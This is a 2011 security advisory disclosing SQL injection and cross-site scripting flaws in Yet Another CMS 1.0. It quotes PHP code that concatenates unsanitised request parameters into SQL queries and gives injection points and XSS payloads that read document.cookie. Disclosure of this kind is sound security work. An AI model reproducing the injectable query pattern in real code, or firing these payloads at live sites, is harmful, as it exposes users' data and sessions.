Yet Another CMS 1.0 - SQL Injection / Cross-Site Scripting

Advisory:              	Yet Another CMS 1.0 SQL Injection & XSS vulnerabilities
Advisory ID:           	SSCHADV2011-031
Author:                	Stefan Schurtz
Affected Software:  	Successfully tested on Yet Another CMS 1.0
Vendor URL:          	http://yetanothercms.codeplex.com/
Vendor Status:       	informed

==========================
Vulnerability Description:
==========================

Yet Another CMS 1.0 is prone to multiple SQL Injection and XSS vulnerabilities

==================
Technical Details:
==================

// search.php
$result_set = get_search_result_set($_POST['pattern']);

// includes/functions.php
function get_search_result_set($pattern, $public = true) {
      global $connection;
      $query = "SELECT
                   id,
                   subject_id,
                   menu_name,
                   position,
                   visible,
                   content,
                   CONCAT('... ', SUBSTRING(content, LOCATE('" . $pattern . "',content), 200), ' ...') as fragment
                FROM
                   pages
                WHERE
                   content like '%" . $pattern . "%'";

// index.php
<?php find_selected_page(); ?>

// includes/functions.php
function find_selected_page() {
                global $sel_subject;
                global $sel_page;
                if (isset($_GET['subj'])) {
                        $sel_subject = get_subject_by_id($_GET['subj']);
                        $sel_page = get_default_page($sel_subject['id']);
                } elseif (isset($_GET['page'])) {
                        $sel_subject = NULL;
                        $sel_page = get_page_by_id($_GET['page']);
                } else {
                        $sel_subject = NULL;
                        $sel_page = NULL;
                }
}


function get_page_by_id($page_id) {
                global $connection;
                $query = "SELECT * ";
                $query .= "FROM pages ";
                $query .= "WHERE id=" . $page_id ." ";
                $query .= "LIMIT 1";

==================
Exploit
==================

SQL Injection

http://<target>/index.php?page=[sql injection]
http://<target>/search.php -> 'search field' -> [sql injection]

XSS

http://<target>/search.php -> 'search field' -> '"</script><script>alert(document.cookie)</script>
http://<target>/index.php?page='</script><script>alert(document.cookie)</script>

====================
Disclosure Timeline:
====================

18-Oct-2011 - informed developers

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References:
===========

http://yetanothercms.codeplex.com/
http://yetanothercms.codeplex.com/workitem/643
http://www.rul3z.de/advisories/SSCHADV2011-031.txt